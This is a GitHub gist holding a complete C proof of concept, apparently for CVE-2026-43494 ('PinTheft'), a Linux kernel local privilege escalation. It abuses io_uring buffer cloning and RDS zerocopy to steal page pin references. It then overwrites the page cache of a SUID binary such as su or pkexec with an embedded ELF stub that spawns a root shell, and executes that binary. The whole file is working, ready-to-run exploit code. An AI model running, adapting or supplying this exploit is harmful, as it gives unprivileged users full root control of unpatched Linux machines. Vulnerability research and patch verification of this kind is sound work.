Created
May 26, 2026 12:09
-
-
Save spynika/bd10e4ce05b02731dc6266b8ce21160b to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #define _GNU_SOURCE | |
| #include <errno.h> | |
| #include <fcntl.h> | |
| #include <sched.h> | |
| #include <signal.h> | |
| #include <stdarg.h> | |
| #include <stdint.h> | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <unistd.h> | |
| #include <arpa/inet.h> | |
| #include <linux/io_uring.h> | |
| #include <linux/rds.h> | |
| #include <net/if.h> | |
| #include <netinet/in.h> | |
| #include <sys/mman.h> | |
| #include <sys/socket.h> | |
| #include <sys/stat.h> | |
| #include <sys/syscall.h> | |
| #include <sys/types.h> | |
| #include <sys/wait.h> | |
| #ifndef IORING_REGISTER_CLONE_BUFFERS | |
| #define IORING_REGISTER_CLONE_BUFFERS 19 | |
| #endif | |
| struct io_uring_clone_buffers { | |
| __u32 src_fd; | |
| __u32 flags; | |
| __u32 src_off; | |
| __u32 dst_off; | |
| __u32 nr; | |
| __u32 pad[3]; | |
| }; | |
| #define PAGE_SIZE 4096 | |
| #define GUP_PIN_COUNTING_BIAS 1024 | |
| #define PORT_BASE 20000 | |
| #define MAX_RETRIES 5 | |
| static const uint8_t SHELL_ELF[129] = { | |
| 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, | |
| 0x03,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00, | |
| 0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, | |
| 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00, | |
| 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, | |
| 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x81,0x00,0x00,0x00,0x00,0x00,0x00,0x00, | |
| 0x81,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0xb0,0x69,0x0f,0x05,0x48,0x8d, | |
| 0x3d,0xdb,0xff,0xff,0xff,0x6a,0x00,0x57,0x48,0x89,0xe6,0x31,0xd2,0xb0,0x3b,0x0f, | |
| 0x05, | |
| }; | |
| static const char *suid_candidates[] = { | |
| "/usr/bin/su", "/bin/su", "/usr/bin/mount", "/usr/bin/passwd", | |
| "/usr/bin/chsh", "/usr/bin/newgrp", "/usr/bin/umount", "/usr/bin/pkexec", NULL | |
| }; | |
| #define ANSI_RESET "\033[0m" | |
| #define ANSI_DIM "\033[2m" | |
| #define ANSI_BOLD "\033[1m" | |
| #define ANSI_RED "\033[38;5;196m" | |
| #define ANSI_GREEN "\033[38;5;46m" | |
| #define ANSI_CYAN "\033[38;5;51m" | |
| #define ANSI_YELLOW "\033[38;5;226m" | |
| #define ANSI_MAGENTA "\033[38;5;201m" | |
| #define ANSI_ORANGE "\033[38;5;208m" | |
| #define ANSI_WHITE "\033[38;5;255m" | |
| #define ANSI_GRAY "\033[38;5;245m" | |
| #define ANSI_PURPLE "\033[38;5;99m" | |
| #define LOG(fmt, ...) ui_log(fmt, ##__VA_ARGS__) | |
| #define ERR(fmt, ...) ui_err(fmt, ##__VA_ARGS__) | |
| #define OK(fmt, ...) ui_ok(fmt, ##__VA_ARGS__) | |
| static int g_phase = 0; | |
| static void ui_line(void) { | |
| fprintf(stderr, | |
| ANSI_GRAY " ╰" ANSI_PURPLE "────────────────────────────────────────────────────────" ANSI_RESET "\n"); | |
| } | |
| static void ui_banner(void) { | |
| fprintf(stderr, "\n"); | |
| fprintf(stderr, ANSI_MAGENTA | |
| " ███████╗██╗ ███████╗██╗ ██╗\n" | |
| " ██╔════╝██║ ██╔════╝╚██╗ ██╔╝\n" | |
| " ███████╗██║ █████╗ ╚████╔╝ \n" | |
| " ╚════██║██║ ██╔══╝ ╚██╔╝ \n" | |
| " ███████║███████╗███████╗ ██║ \n" | |
| " ╚══════╝╚══════╝╚══════╝ ╚═╝ \n" | |
| ANSI_RESET); | |
| fprintf(stderr, | |
| ANSI_PURPLE " ┌─" ANSI_RESET | |
| ANSI_BOLD ANSI_WHITE " PinTheft " ANSI_RESET | |
| ANSI_DIM "·" ANSI_RESET " " | |
| ANSI_CYAN "CVE-2026-43494" ANSI_RESET | |
| ANSI_PURPLE " ─ io_uring GUP pin theft ─────────────────────┐\n" | |
| ANSI_RESET); | |
| fprintf(stderr, | |
| ANSI_PURPLE " │" ANSI_RESET " " | |
| ANSI_GRAY "kernel local privilege escalation PoC" ANSI_RESET | |
| " " | |
| ANSI_PURPLE "│\n" | |
| ANSI_RESET); | |
| fprintf(stderr, | |
| ANSI_PURPLE " └" ANSI_GRAY "──────────────────────────────────────────────────────────────" ANSI_RESET | |
| ANSI_PURPLE "┘\n\n" | |
| ANSI_RESET); | |
| } | |
| static void ui_phase(const char *title) { | |
| g_phase++; | |
| fprintf(stderr, "\n"); | |
| fprintf(stderr, | |
| ANSI_ORANGE " ▶ " ANSI_BOLD "PHASE %d" ANSI_RESET | |
| ANSI_GRAY " │ " ANSI_RESET | |
| ANSI_WHITE "%s" ANSI_RESET "\n", | |
| g_phase, title); | |
| ui_line(); | |
| } | |
| static void ui_log(const char *fmt, ...) { | |
| va_list ap; | |
| fprintf(stderr, ANSI_CYAN " ◇ " ANSI_RESET); | |
| va_start(ap, fmt); | |
| vfprintf(stderr, fmt, ap); | |
| va_end(ap); | |
| fprintf(stderr, "\n"); | |
| } | |
| static void ui_ok(const char *fmt, ...) { | |
| va_list ap; | |
| fprintf(stderr, ANSI_GREEN " ✓ " ANSI_RESET); | |
| va_start(ap, fmt); | |
| vfprintf(stderr, fmt, ap); | |
| va_end(ap); | |
| fprintf(stderr, "\n"); | |
| } | |
| static void ui_err(const char *fmt, ...) { | |
| va_list ap; | |
| fprintf(stderr, ANSI_RED " ✗ " ANSI_RESET); | |
| va_start(ap, fmt); | |
| vfprintf(stderr, fmt, ap); | |
| va_end(ap); | |
| fprintf(stderr, "\n"); | |
| } | |
| static void ui_progress(int cur, int total) { | |
| const int width = 32; | |
| int filled = total ? (cur * width) / total : 0; | |
| if (filled > width) filled = width; | |
| fprintf(stderr, "\r" ANSI_GRAY " │ " ANSI_RESET); | |
| fprintf(stderr, ANSI_PURPLE "["); | |
| for (int i = 0; i < width; i++) | |
| fprintf(stderr, i < filled ? ANSI_MAGENTA "█" : ANSI_GRAY "░"); | |
| fprintf(stderr, ANSI_PURPLE "]" ANSI_RESET); | |
| fprintf(stderr, " " ANSI_WHITE "%3d%%" ANSI_RESET, total ? (cur * 100) / total : 0); | |
| fprintf(stderr, ANSI_GRAY " (%d/%d)" ANSI_RESET, cur, total); | |
| if (cur >= total) | |
| fprintf(stderr, "\n"); | |
| fflush(stderr); | |
| } | |
| static void ui_stat_box(const char *label, const char *value, const char *color) { | |
| fprintf(stderr, | |
| ANSI_PURPLE " │ " ANSI_RESET | |
| "%-18s" ANSI_GRAY " → " ANSI_RESET | |
| "%s%s%s\n", | |
| label, color, value, ANSI_RESET); | |
| } | |
| static void ui_footer(int success) { | |
| fprintf(stderr, "\n"); | |
| if (success) { | |
| fprintf(stderr, | |
| ANSI_GREEN | |
| " ╔══════════════════════════════════════════════════════════╗\n" | |
| " ║ " ANSI_BOLD "CHAIN COMPLETE" ANSI_RESET ANSI_GREEN | |
| " · spawning privileged context... ║\n" | |
| " ╚══════════════════════════════════════════════════════════╝\n" | |
| ANSI_RESET); | |
| } else { | |
| fprintf(stderr, | |
| ANSI_RED | |
| " ╔══════════════════════════════════════════════════════════╗\n" | |
| " ║ " ANSI_BOLD "ABORTED" ANSI_RESET ANSI_RED | |
| " · exploit chain did not finish ║\n" | |
| " ╚══════════════════════════════════════════════════════════╝\n" | |
| ANSI_RESET); | |
| } | |
| } | |
| static void pin_cpu(int cpu) { | |
| cpu_set_t set; | |
| CPU_ZERO(&set); | |
| CPU_SET(cpu, &set); | |
| if (sched_setaffinity(0, sizeof(set), &set) < 0) { | |
| ERR("sched_setaffinity: %s", strerror(errno)); | |
| exit(1); | |
| } | |
| } | |
| static const char *find_suid_target(void) { | |
| for (int i = 0; suid_candidates[i]; i++) { | |
| struct stat st; | |
| if (stat(suid_candidates[i], &st) == 0 && (st.st_mode & S_ISUID)) { | |
| OK("Found SUID: %s", suid_candidates[i]); | |
| return suid_candidates[i]; | |
| } | |
| } | |
| return NULL; | |
| } | |
| static int backup_target(const char *path) { | |
| const char *name = strrchr(path, '/'); | |
| name = name ? name + 1 : path; | |
| char backup[256]; | |
| snprintf(backup, sizeof(backup), "/tmp/.backup_%s_%d", name, getpid()); | |
| LOG("Backing up %s → %s", path, backup); | |
| int src = open(path, O_RDONLY); | |
| if (src < 0) { | |
| ERR("open src: %s", strerror(errno)); | |
| return -1; | |
| } | |
| int dst = open(backup, O_WRONLY | O_CREAT | O_TRUNC, 0755); | |
| if (dst < 0) { | |
| ERR("open dst: %s", strerror(errno)); | |
| close(src); | |
| return -1; | |
| } | |
| char tmp[4096]; | |
| ssize_t n; | |
| while ((n = read(src, tmp, sizeof(tmp))) > 0) { | |
| if (write(dst, tmp, n) != n) { | |
| ERR("write backup: %s", strerror(errno)); | |
| close(src); | |
| close(dst); | |
| return -1; | |
| } | |
| } | |
| close(src); | |
| close(dst); | |
| OK("Backup: %s", backup); | |
| return 0; | |
| } | |
| static int steal_one_ref(void *page_addr, int port) { | |
| int fd = socket(AF_RDS, SOCK_SEQPACKET, 0); | |
| if (fd < 0) return -1; | |
| int v = 1; | |
| setsockopt(fd, SOL_SOCKET, SO_ZEROCOPY, &v, sizeof(v)); | |
| int sndbuf = 2 * 4096 * 4; | |
| setsockopt(fd, SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf)); | |
| v = 2; | |
| setsockopt(fd, SOL_RDS, SO_RDS_TRANSPORT, &v, sizeof(v)); | |
| struct sockaddr_in a = { | |
| .sin_family = AF_INET, | |
| .sin_addr.s_addr = htonl(INADDR_LOOPBACK), | |
| .sin_port = htons(port), | |
| }; | |
| if (bind(fd, (struct sockaddr *)&a, sizeof(a)) < 0) { | |
| close(fd); | |
| return -1; | |
| } | |
| a.sin_port = htons(port + 1); | |
| struct iovec iov = { page_addr, 2 * PAGE_SIZE }; | |
| char cb[CMSG_SPACE(sizeof(uint32_t))]; | |
| memset(cb, 0, sizeof(cb)); | |
| struct cmsghdr *cm = (struct cmsghdr *)cb; | |
| cm->cmsg_level = SOL_RDS; | |
| cm->cmsg_type = RDS_CMSG_ZCOPY_COOKIE; | |
| cm->cmsg_len = CMSG_LEN(sizeof(uint32_t)); | |
| struct msghdr m = { | |
| .msg_name = &a, | |
| .msg_namelen = sizeof(a), | |
| .msg_iov = &iov, | |
| .msg_iovlen = 1, | |
| .msg_control = cb, | |
| .msg_controllen = sizeof(cb), | |
| }; | |
| sendmsg(fd, &m, MSG_ZEROCOPY | MSG_DONTWAIT); | |
| close(fd); | |
| return 0; | |
| } | |
| struct uring { | |
| int fd; | |
| void *sq_ring, *cq_ring; | |
| struct io_uring_sqe *sqes; | |
| uint32_t *sq_head, *sq_tail, *sq_mask, *sq_array; | |
| uint32_t *cq_head, *cq_tail, *cq_mask; | |
| struct io_uring_cqe *cqes; | |
| size_t sq_ring_sz, cq_ring_sz, sqes_sz; | |
| }; | |
| static int uring_setup(struct uring *r, unsigned entries) { | |
| struct io_uring_params p; | |
| memset(&p, 0, sizeof(p)); | |
| r->fd = syscall(__NR_io_uring_setup, entries, &p); | |
| if (r->fd < 0) { | |
| ERR("io_uring_setup: %s", strerror(errno)); | |
| return -1; | |
| } | |
| r->sq_ring_sz = p.sq_off.array + p.sq_entries * sizeof(uint32_t); | |
| r->cq_ring_sz = p.cq_off.cqes + p.cq_entries * sizeof(struct io_uring_cqe); | |
| r->sqes_sz = p.sq_entries * sizeof(struct io_uring_sqe); | |
| r->sq_ring = mmap(NULL, r->sq_ring_sz, PROT_READ | PROT_WRITE, | |
| MAP_SHARED | MAP_POPULATE, r->fd, IORING_OFF_SQ_RING); | |
| if (r->sq_ring == MAP_FAILED) { | |
| ERR("mmap sq_ring: %s", strerror(errno)); | |
| return -1; | |
| } | |
| r->cq_ring = mmap(NULL, r->cq_ring_sz, PROT_READ | PROT_WRITE, | |
| MAP_SHARED | MAP_POPULATE, r->fd, IORING_OFF_CQ_RING); | |
| if (r->cq_ring == MAP_FAILED) { | |
| ERR("mmap cq_ring: %s", strerror(errno)); | |
| return -1; | |
| } | |
| r->sqes = mmap(NULL, r->sqes_sz, PROT_READ | PROT_WRITE, | |
| MAP_SHARED | MAP_POPULATE, r->fd, IORING_OFF_SQES); | |
| if (r->sqes == MAP_FAILED) { | |
| ERR("mmap sqes: %s", strerror(errno)); | |
| return -1; | |
| } | |
| r->sq_head = (uint32_t *)((char *)r->sq_ring + p.sq_off.head); | |
| r->sq_tail = (uint32_t *)((char *)r->sq_ring + p.sq_off.tail); | |
| r->sq_mask = (uint32_t *)((char *)r->sq_ring + p.sq_off.ring_mask); | |
| r->sq_array = (uint32_t *)((char *)r->sq_ring + p.sq_off.array); | |
| r->cq_head = (uint32_t *)((char *)r->cq_ring + p.cq_off.head); | |
| r->cq_tail = (uint32_t *)((char *)r->cq_ring + p.cq_off.tail); | |
| r->cq_mask = (uint32_t *)((char *)r->cq_ring + p.cq_off.ring_mask); | |
| r->cqes = (struct io_uring_cqe *)((char *)r->cq_ring + p.cq_off.cqes); | |
| return 0; | |
| } | |
| static int uring_register_buffers(struct uring *r, void *buf, size_t len) { | |
| struct iovec iov = { .iov_base = buf, .iov_len = len }; | |
| int ret = syscall(__NR_io_uring_register, r->fd, | |
| IORING_REGISTER_BUFFERS, &iov, 1); | |
| if (ret < 0) { | |
| ERR("io_uring_register buffers: %s", strerror(errno)); | |
| return -1; | |
| } | |
| return 0; | |
| } | |
| static int uring_clone_buffers(struct uring *dst, struct uring *src) { | |
| struct io_uring_clone_buffers arg; | |
| memset(&arg, 0, sizeof(arg)); | |
| arg.src_fd = src->fd; | |
| int ret = syscall(__NR_io_uring_register, dst->fd, | |
| IORING_REGISTER_CLONE_BUFFERS, &arg, 1); | |
| if (ret < 0) { | |
| ERR("io_uring_clone_buffers: %s", strerror(errno)); | |
| return -1; | |
| } | |
| return 0; | |
| } | |
| static pid_t spawn_ring_holder(int ring2_fd) { | |
| pid_t pid = fork(); | |
| if (pid != 0) return pid; | |
| fcntl(ring2_fd, F_SETFD, 0); | |
| for (int fd = 0; fd < 1024; fd++) | |
| if (fd != ring2_fd) close(fd); | |
| open("/dev/null", O_RDONLY); | |
| open("/dev/null", O_WRONLY); | |
| open("/dev/null", O_WRONLY); | |
| execl("/bin/sleep", "sleep", "99999", (char *)NULL); | |
| _exit(0); | |
| } | |
| static int uring_submit_read_fixed(struct uring *r, int file_fd, void *buf, uint32_t len) { | |
| uint32_t tail = *r->sq_tail; | |
| uint32_t idx = tail & *r->sq_mask; | |
| struct io_uring_sqe *sqe = &r->sqes[idx]; | |
| memset(sqe, 0, sizeof(*sqe)); | |
| sqe->opcode = IORING_OP_READ_FIXED; | |
| sqe->fd = file_fd; | |
| sqe->off = 0; | |
| sqe->addr = (uint64_t)(unsigned long)buf; | |
| sqe->len = len; | |
| sqe->buf_index = 0; | |
| r->sq_array[idx] = idx; | |
| __atomic_store_n(r->sq_tail, tail + 1, __ATOMIC_RELEASE); | |
| int ret = syscall(__NR_io_uring_enter, r->fd, 1, 1, | |
| IORING_ENTER_GETEVENTS, NULL, 0); | |
| if (ret < 0) { | |
| ERR("io_uring_enter: %s", strerror(errno)); | |
| return -1; | |
| } | |
| return 0; | |
| } | |
| static int uring_wait_cqe(struct uring *r, int32_t *res_out) { | |
| uint32_t head = *r->cq_head; | |
| uint32_t tail; | |
| for (int i = 0; i < 1000; i++) { | |
| tail = __atomic_load_n(r->cq_tail, __ATOMIC_ACQUIRE); | |
| if (head != tail) break; | |
| usleep(1000); | |
| } | |
| tail = __atomic_load_n(r->cq_tail, __ATOMIC_ACQUIRE); | |
| if (head == tail) { | |
| ERR("CQ timeout — no completion"); | |
| return -1; | |
| } | |
| uint32_t idx = head & *r->cq_mask; | |
| if (res_out) *res_out = r->cqes[idx].res; | |
| __atomic_store_n(r->cq_head, head + 1, __ATOMIC_RELEASE); | |
| return 0; | |
| } | |
| static void uring_destroy(struct uring *r) { | |
| if (r->sq_ring && r->sq_ring != MAP_FAILED) munmap(r->sq_ring, r->sq_ring_sz); | |
| if (r->cq_ring && r->cq_ring != MAP_FAILED) munmap(r->cq_ring, r->cq_ring_sz); | |
| if (r->sqes && r->sqes != MAP_FAILED) munmap(r->sqes, r->sqes_sz); | |
| if (r->fd >= 0) close(r->fd); | |
| memset(r, 0, sizeof(*r)); | |
| r->fd = -1; | |
| r->sq_ring = r->cq_ring = MAP_FAILED; | |
| r->sqes = MAP_FAILED; | |
| } | |
| static int create_payload_file(void) { | |
| char path[] = "/tmp/.payload_XXXXXX"; | |
| int fd = mkstemp(path); | |
| if (fd < 0) { | |
| ERR("mkstemp: %s", strerror(errno)); | |
| return -1; | |
| } | |
| unlink(path); | |
| uint8_t page[PAGE_SIZE]; | |
| memset(page, 0, sizeof(page)); | |
| memcpy(page, SHELL_ELF, sizeof(SHELL_ELF)); | |
| if (write(fd, page, PAGE_SIZE) != PAGE_SIZE) { | |
| ERR("write payload: %s", strerror(errno)); | |
| close(fd); | |
| return -1; | |
| } | |
| return fd; | |
| } | |
| static int evict_page_cache(const char *path) { | |
| int fd = open(path, O_RDONLY); | |
| if (fd < 0) { | |
| ERR("fadvise open: %s", strerror(errno)); | |
| return -1; | |
| } | |
| if (posix_fadvise(fd, 0, PAGE_SIZE, POSIX_FADV_DONTNEED) < 0) { | |
| ERR("posix_fadvise: %s", strerror(errno)); | |
| close(fd); | |
| return -1; | |
| } | |
| close(fd); | |
| return 0; | |
| } | |
| static int attempt_exploit(const char *target, pid_t *daemon_out, int show_phases) { | |
| if (show_phases) | |
| ui_phase("Memory & io_uring setup"); | |
| void *buf = mmap(NULL, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, | |
| MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); | |
| if (buf == MAP_FAILED) { | |
| ERR("mmap buf: %s", strerror(errno)); | |
| return -1; | |
| } | |
| memset(buf, 0, PAGE_SIZE); | |
| if (mprotect((char *)buf + PAGE_SIZE, PAGE_SIZE, PROT_NONE) < 0) { | |
| ERR("mprotect guard: %s", strerror(errno)); | |
| munmap(buf, 2 * PAGE_SIZE); | |
| return -1; | |
| } | |
| char addr_buf[32]; | |
| snprintf(addr_buf, sizeof(addr_buf), "%p", buf); | |
| ui_stat_box("Pinned page", addr_buf, ANSI_MAGENTA); | |
| OK("2-page mapping + PROT_NONE guard @ %p", (char *)buf + PAGE_SIZE); | |
| struct uring ring, ring2; | |
| memset(&ring, 0, sizeof(ring)); | |
| memset(&ring2, 0, sizeof(ring2)); | |
| ring.fd = ring2.fd = -1; | |
| ring.sq_ring = ring.cq_ring = ring.sqes = MAP_FAILED; | |
| ring2.sq_ring = ring2.cq_ring = ring2.sqes = MAP_FAILED; | |
| if (uring_setup(&ring, 4) < 0) goto fail_buf; | |
| if (uring_register_buffers(&ring, buf, PAGE_SIZE) < 0) goto fail_ring; | |
| OK("Ring-1 buffer registered (FOLL_PIN +%d)", GUP_PIN_COUNTING_BIAS); | |
| if (uring_setup(&ring2, 1) < 0) goto fail_ring; | |
| if (uring_clone_buffers(&ring2, &ring) < 0) goto fail_ring2; | |
| OK("Ring-2 cloned buffer table (imu->refs = 2)"); | |
| pid_t daemon = spawn_ring_holder(ring2.fd); | |
| if (daemon < 0) { | |
| ERR("fork daemon: %s", strerror(errno)); | |
| goto fail_ring2; | |
| } | |
| uring_destroy(&ring2); | |
| char pid_buf[16]; | |
| snprintf(pid_buf, sizeof(pid_buf), "%d", (int)daemon); | |
| ui_stat_box("Ring holder", pid_buf, ANSI_CYAN); | |
| OK("Daemon holds ring2 fd (blocks unpin on cleanup)"); | |
| *daemon_out = daemon; | |
| if (show_phases) | |
| ui_phase("Pin reference theft (RDS zerocopy)"); | |
| LOG("Stealing %d pin refs via RDS zerocopy...", GUP_PIN_COUNTING_BIAS); | |
| int stolen = 0; | |
| for (int i = 0; i < GUP_PIN_COUNTING_BIAS; i++) { | |
| if (steal_one_ref(buf, PORT_BASE + i * 2) == 0) | |
| stolen++; | |
| if ((i & 31) == 0 || i == GUP_PIN_COUNTING_BIAS - 1) | |
| ui_progress(i + 1, GUP_PIN_COUNTING_BIAS); | |
| } | |
| OK("Stole %d/%d references", stolen, GUP_PIN_COUNTING_BIAS); | |
| if (stolen < GUP_PIN_COUNTING_BIAS - 10) { | |
| ERR("Too few stolen refs (%d) — RDS may be unavailable", stolen); | |
| goto fail_ring; | |
| } | |
| if (show_phases) | |
| ui_phase("Page cache overwrite & privesc"); | |
| LOG("Evicting page 0 of %s from page cache", target); | |
| if (evict_page_cache(target) < 0) goto fail_ring; | |
| OK("Page cache evicted"); | |
| LOG("Draining PCP (256 populate mmaps)..."); | |
| void *drain[256]; | |
| for (int i = 0; i < 256; i++) { | |
| drain[i] = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, | |
| MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0); | |
| } | |
| OK("PCP drain complete"); | |
| LOG("munmap pinned page → free to PCP top"); | |
| if (munmap(buf, PAGE_SIZE) < 0) { | |
| ERR("munmap: %s", strerror(errno)); | |
| for (int i = 0; i < 256; i++) | |
| if (drain[i] != MAP_FAILED) munmap(drain[i], PAGE_SIZE); | |
| goto fail_ring; | |
| } | |
| OK("Page freed — io_uring retains dangling struct page*"); | |
| LOG("pread %s → reclaim freed frame as page cache", target); | |
| int tfd = open(target, O_RDONLY); | |
| if (tfd < 0) { | |
| ERR("open target: %s", strerror(errno)); | |
| for (int i = 0; i < 256; i++) | |
| if (drain[i] != MAP_FAILED) munmap(drain[i], PAGE_SIZE); | |
| goto fail_ring; | |
| } | |
| uint8_t scratch[PAGE_SIZE]; | |
| if (pread(tfd, scratch, PAGE_SIZE, 0) < 0) { | |
| ERR("pread: %s", strerror(errno)); | |
| close(tfd); | |
| for (int i = 0; i < 256; i++) | |
| if (drain[i] != MAP_FAILED) munmap(drain[i], PAGE_SIZE); | |
| goto fail_ring; | |
| } | |
| close(tfd); | |
| OK("Page cache populated at reclaimed frame"); | |
| for (int i = 0; i < 256; i++) | |
| if (drain[i] != MAP_FAILED) munmap(drain[i], PAGE_SIZE); | |
| int payload_fd = create_payload_file(); | |
| if (payload_fd < 0) goto fail_ring; | |
| OK("Payload file ready (%zu byte ELF stub)", sizeof(SHELL_ELF)); | |
| LOG("IORING_OP_READ_FIXED → DMA overwrite page cache via dangling page"); | |
| if (uring_submit_read_fixed(&ring, payload_fd, buf, PAGE_SIZE) < 0) { | |
| close(payload_fd); | |
| goto fail_ring; | |
| } | |
| int32_t cqe_res; | |
| if (uring_wait_cqe(&ring, &cqe_res) < 0) { | |
| close(payload_fd); | |
| goto fail_ring; | |
| } | |
| close(payload_fd); | |
| if (cqe_res < 0) { | |
| ERR("READ_FIXED CQE: %d (%s)", cqe_res, strerror(-cqe_res)); | |
| goto fail_ring; | |
| } | |
| OK("DMA write complete (%d bytes)", cqe_res); | |
| tfd = open(target, O_RDONLY); | |
| if (tfd < 0) { | |
| ERR("verify open: %s", strerror(errno)); | |
| goto fail_ring; | |
| } | |
| uint8_t check[sizeof(SHELL_ELF)]; | |
| if (pread(tfd, check, sizeof(check), 0) != (ssize_t)sizeof(check)) { | |
| ERR("verify pread: %s", strerror(errno)); | |
| close(tfd); | |
| goto fail_ring; | |
| } | |
| close(tfd); | |
| if (memcmp(check, SHELL_ELF, sizeof(SHELL_ELF)) != 0) { | |
| ERR("Verification failed — page cache not overwritten (race lost?)"); | |
| goto fail_ring; | |
| } | |
| OK("Verified: page 0 matches SHELL_ELF stub"); | |
| uring_destroy(&ring); | |
| munmap((char *)buf + PAGE_SIZE, PAGE_SIZE); | |
| ui_footer(1); | |
| LOG("Executing %s (injected stub → /bin/sh as root)", target); | |
| { | |
| const char *bn = strrchr(target, '/'); | |
| bn = bn ? bn + 1 : target; | |
| fprintf(stderr, | |
| ANSI_YELLOW " ◇ Restore: cp /tmp/.backup_%s_%d %s && chmod u+s %s\n" ANSI_RESET, | |
| bn, getpid(), target, target); | |
| } | |
| for (int fd = 3; fd < 1024; fd++) close(fd); | |
| execl(target, target, (char *)NULL); | |
| ERR("execl: %s", strerror(errno)); | |
| return -1; | |
| fail_ring2: | |
| uring_destroy(&ring2); | |
| fail_ring: | |
| uring_destroy(&ring); | |
| fail_buf: | |
| if (buf != MAP_FAILED) munmap(buf, 2 * PAGE_SIZE); | |
| return -1; | |
| } | |
| int main(void) { | |
| ui_banner(); | |
| pin_cpu(0); | |
| ui_phase("Reconnaissance"); | |
| LOG("Affinity locked to CPU 0"); | |
| ui_stat_box("CPU pin", "cpu0", ANSI_CYAN); | |
| const char *target = find_suid_target(); | |
| if (!target) { | |
| ERR("No SUID binary found"); | |
| ui_footer(0); | |
| return 1; | |
| } | |
| ui_stat_box("SUID target", target, ANSI_YELLOW); | |
| if (backup_target(target) < 0) { | |
| ERR("Backup failed — aborting for safety"); | |
| ui_footer(0); | |
| return 1; | |
| } | |
| pid_t daemons[MAX_RETRIES]; | |
| int ndaemons = 0; | |
| for (int attempt = 0; attempt < MAX_RETRIES; attempt++) { | |
| if (attempt > 0) { | |
| fprintf(stderr, "\n"); | |
| LOG("Retry attempt %d/%d", attempt + 1, MAX_RETRIES); | |
| } | |
| pid_t daemon = 0; | |
| int ret = attempt_exploit(target, &daemon, attempt == 0); | |
| if (daemon > 0) | |
| daemons[ndaemons++] = daemon; | |
| if (ret == 0) | |
| return 0; | |
| if (attempt < MAX_RETRIES - 1) { | |
| ERR("Attempt %d failed", attempt + 1); | |
| sleep(1); | |
| } | |
| } | |
| for (int i = 0; i < ndaemons; i++) { | |
| kill(daemons[i], SIGKILL); | |
| waitpid(daemons[i], NULL, 0); | |
| } | |
| ui_footer(0); | |
| ERR("All %d attempts failed — kernel may be patched or RDS/io_uring unavailable", MAX_RETRIES); | |
| return 1; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment